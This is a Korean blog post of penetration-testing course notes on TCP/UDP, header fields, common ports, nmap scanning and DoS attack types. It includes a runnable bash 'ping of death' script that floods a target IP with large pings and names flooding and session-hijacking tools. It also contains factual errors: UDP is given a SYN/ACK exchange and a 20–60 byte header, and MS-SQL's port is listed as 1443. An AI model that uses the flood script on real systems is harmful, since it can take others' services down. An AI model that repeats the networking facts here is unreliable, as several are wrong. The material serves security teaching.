전송계층
1. TCP/UDP
1) 특징
TCP (Transmission Control Protocal)
인터넷상 컴퓨터들 사이에서 데이터를 메시지 형태로 전송되는 프로토콜이다.
특징
(1) 연결형 기반 서비스
(2) 상태 기반 서비스
(3) 신뢰 기반 서비스
대표적인 서비스 : telnet, FTP, HTTP, ssh, SMTP, NFSv4 ...
UDP (User Datagram Protocol)
인터넷상 컴퓨터들 사이에서 데이터를 메시지 형태로 교환될 때 제한된 서비스만을 제공하는 통신 프로토콜이다.
특징
(1) 비연결형 서비스
(2) 비상태 서비스
(3) 비신뢰 서비스
대표적인 서비스 : DNS, SNMP, NTP, TFTP, DHCP ...
2) 동작 원리
TCP : 3 way handshake
Client --syn--> Server
Client <--syn,ack-- Server
Client --ack--> Server
Client <--통신--> Server
연결형 기반 서비스 임으로 서버와 클라이언트가 최초 3번의 신호를 주고받음, 이에 3 way handshake 라고 불리우며 연결이 완료되어야만 통신을 진행하고 중간에 데이터가 유실될 경우 재전송을 진행하는 특징.
UDP :
Server <--syn-- Client
Server --Ack--> Client
비연결 기반 서비스임으로 클라이언트의 수신여부를 서버가 확인치 않음. 중간에 유실되거나 클라이언트가 수신을 못했다고 하더라도 통신은 종료된다.
3) Header
TCP header.
기본 헤더 : 20bytes 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes) IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별) ■ 발신지 포트(Source Port, 16 bits) 송신 호스트 응용프로세스가 사용하는 번호 ■ 목적지 포트(Destnation Port, 16 bits) 수신 호스트 응용프로세스가 사용하는 번호 ■ 순차 번호(Sequence Number) TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호. 신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착. 32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음 초기 순차번호(ISN, Initial Sequence Number) - TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성 - TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨. ■ 응답 확인 번호(Acknowledgement number, 32 bits) 수신한 세그먼트의 확인 응답을 위한 32bits 필드 세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값. - 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1) ■ 헤더 길이(Header Length, 4 bits) TCP 헤더 길이를 나타내는 4bits 필드. 4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하 헤더의 길이가 20-60 이므로 5-12 사이의 값. ■ TCP 제어 플래그(TCP Control Flag, 6 bits) 각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성. URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림. - 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐 ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨. - 1로 세팅되면, 확인번호 유효함을 뜻함 - 0로 세팅되면, 확인번호 미포함(즉, 32비트 크기의 확인응답번호 필드 무시됨) - SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨. PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시. - 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달. - 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함. RST : Reset 플래그, 비정상적인 종료를 위한 플래그. - 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청. - RST 플래그는 연결이 갑자기 종료되거나 연결 시도를 거부하는 데 사용된다. SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그. - TCP 연결 설정 초기화를 위한 순서번호의 동기화 연결요청: SYN=1, ACK=0 연결허락: SYN=1, ACK=1 연결설정: ACK=1 FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그 - 송신기가 데이터 보내기를 끝마침 종결요청: FIN=1 종결응답: FIN=1, ACK=1 ■ 윈도우 크기(Window size, 16 bits) 응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함. 윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임. 흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함. 수신측에 의해 능동적으로 흐름제어를 수행하게 됨. ■ 검사합(Checksum, 16 bits) 각 TCP 세그먼트 변형 여부 확인 IP와 달리 전체 세그먼트의 변형 여부를 나타낸다. 실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함. 체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩) 가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이 실제 헤더: 실제 TCP/UDP 헤더 ■ 긴급포인터(Urgent Pointer, 16 bits) 세그먼트가 긴급 데이터를 포함하고 있을 때. 제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음. TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호. - 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset). - 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음. ■ 옵션(Options) 최대 40바이트까지 옵션 데이터 포함 가능. TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등 |
UDP
- 기본 헤더 : 20bytes - 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes) - IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별) ■ 발신 포트(Source Port, 16 bits) 송신 호스트 응용프로세스가 사용하는 번호 ■ 수신 포트(Destnation Port, 16 bits) 수신 호스트 응용프로세스가 사용하는 번호 ■ 패킷 전체 길이(Packet Total Length, 16bits) 바이트 단위의 길이. 최소값 8(헤더만 포함될 때) ■ 검사합(Checksum, 16 bits) 선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함 |
4) Port Number
포트(Port) = 서비스(Service) 인터넷이나 기타 다른 네트워크 메시지가 서버에 도착하였을때, 전달되어야할 특정 프로세스를 인식하기 위한 방법이다. 일부 서비스들에는 인습적으로 영구적인 포트번호들이 할당되어있다
(1) 포트 종류 포트 번호
----------------------------------------------------------
The Well-Known Ports(잘 알려진 포트) : 0 - 1023
The Registered Ports(새로운 서비스) : 1024 - 49151
The Dynamic and/or Private Ports. 49152 - 65535
----------------------------------------------------------
[참고] 리눅스에서 포트의 대한 확인.
(전체 포트) cat /etc/services
(사용중 포트) nmap localhost
(사용중 포트) netstat -antp ( t=tcp u=udp )
주요 포트
Services | Port | Services | Port |
FTP data | TCP/20 | FTP control | TCP/21 |
SSH / SCP / SFTP | TCP/22 | Telnet | TCP/23 |
SMTP | TCP/25 | DNS name queries | UDP/53 |
DNS zone Transfers | TCP/53 | TFTP | UDP/69 |
HTTP | TCP/80 | POP3 | TCP/110 |
SNMP | UDP/161 | NetBiOS name | TCP/137 |
NetBIOS datagram | TCP/138 | NetBIOS session | TCP/139 |
IMAP4 | TCP/143 | HTTPS | TCP/443 |
SMTP | TCP/465 | IPsec (for VPN) | UDP/500 |
LDAP/SSL(or)TLS | TCP/636 | TMAP SSL/TLS | TCP/993 |
POP SSL/TLS | TCP/995 | Remote Desktop rotocol(RDP) | TCP,UDP/3389 |
DB 리스너 포트
DBname | Port | DBname | Port |
MySQL | TCP/3306 | MS-SQL | TCP/1443 |
Oracle | TCP/1521 | PostgreSQL | TCP/5432 |
MariaDB | TCP/3306 | IBM DB2 | TCP/50090 |
[실습] 포트 번호 실습 (telnet, ftp)
* nmap CMD 사용법
nmap 192.168.20.201 ( tcp port scan)
nmap -p 21 19/2.168.20.201 ( tcp port 21 scan )
nmap -sU 192.168.20.201 ( udp port scan
nmap -sU -p21 192.168.20.201 ( udp port 21 scan )
[실습] 포트를 열어줘!
서버측 : FTP service 를 열어달라 -> 서비스 enable 해달라
네트워크 장비(보안)측 : FTP service 를 열어달라 -> FTP prot, service를 방화벽에 등록
[실습] 자신의 서버 포트 점검
* Linux : nmap(TUI), xnmap(GUI) / windows : C:windows/system32/device/etc/hosts 파일점검, zenmap
[실습] Flag 분석
* TCP Three-way handshake (Syn-Syn/Ack-Ack)
* TCP Four-way handshake (Fin/Ack-Ack, Fin/Ack-Ack)
* RST/ACK Flag (Syn-RSA/Ack)
[실습] Telnet 패킷 분석
[실습] FTP 패킷 분석
* TXT, ZIP, EXE 파일 추출 (wireshack)
[실습] WEB 패킷 분석
* 요청시 3way 후 세션을 끊음, 이후 추가 요청시 3way 후 세션을 끊음
* HTTP / HTTPS 패킷분석 : 복호화.
[실습] Samba 패킷 분석
[실습] ssh 패킷 분석
[실습] nslookup 패킷분석
[실습] ping이 안되는 사이트의 대한 hping3 CMD 사용하기.
* hping3 사용법 : hping3 --help 참조.
- ICMP 뿐 아닌 다양한 옵션으로 ping test 를 진행하는 CMD
DDoS
많은양의 트레픽을 발생시켜 서비스를 거부시키는 (down) 공격.
1) DoS 공격 종류
LAND Attack : source 주소 와 Destination 주소 를 동일하게 하여 지속적으로 본인이 본인에게 보내도록 하는 DoS 공격방식
Smurt Attack : 네트워크상 다른 주소인것 처럼 해서 여러명이 접속하는것 처럼 하는 DDoS 공격방식.
2) Flood Attack
TCP SYN Flood : 공격자 IP를 spoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법
UDP Flood : UDP Body에 Garbage Data를 Padding 하여 공격하는 방법.
ICMP Smurfing : CMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법.
3) Sortware Attack
ping of Death : ping 명령어를 이용하여 ICMP 패킷(Data)을 비 정상적으로 크게 만들어 공격하는 방법.
TearDrop : 패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)
[실습] ping of Death 공격 프로그램 작성.
* 최대 설정 가능 byte=60000정도
#!/bin/bash
trap 'pkill ping; exit 1' 2 3
if [ $# -ne 2 ] ; then
echo "Usage: $0 <TargetIP> <AttackNum>"
exit 1
fi
Target=$1
Num=$2
Total=0
echo "==== Attack Begine ==="
echo "Please wait .... "
for Count in $(seq 1 $Num)
do
ping -s 60000 $Target >/dev/null 2>&1 &
echo "[+] Thead Start: $Count"
sleep 5
Total=$(($Total + 5*$Count))
done
for i in $(seq 1 86400)
do
Total=$(expr $Total + 3)
echo -ne "Attack Number: $Total\r"
sleep 1
done
EOF
sleep 86400
trap 2 3
[실습] TCP SYN Flooding Attack
* Syn Flooding 공격 대응방안
1) Syn Cookie 기능 활성화 : Server가 응답(Syn/Ack)을 보낼 때 cookie값을 추가, Cookie 값의 대한 응답이 오지않을경우 차단하는 기능.
2) 연결요청의 임계치를 설정 : IPtable 등 을 활용하여 동일 IP로 동일 Port 에 동일 연결갯수가 일정량 이상시 차단하는 기능.
3) First Syn Drop : 첫번째 Syn는 무조건 Drop 한다, 클라이언트가 실제 존재하는지 확인하기 위한 수단.
4) Backlog Queue 증가 : 임시적인방법이며, 여러 요청이 들어올시에는 큰 역할을 할 수 없다.
* Kailiuns : msfconsole Tool을 활용하여 진행한다. (모의해킹툴)
[실습] TCP Session Hijacking
* Hunt tool 사용 세션을 가로채는 기술.
[실습] UDP Flooding Attack
* loic tool 사용
'모의해킹 침해대응 과정 > 본 과정' 카테고리의 다른 글
모의해킹 / day 40 (0) | 2021.05.21 |
---|---|
네트워크 이론_4 / day 35~36 (0) | 2021.05.14 |
네트워크 이론_2 /day 32-33 (0) | 2021.05.11 |
네트워크 이론_1 / day31 (0) | 2021.05.10 |
쉘 프로그래밍(bash)_3 / day31 (0) | 2021.05.10 |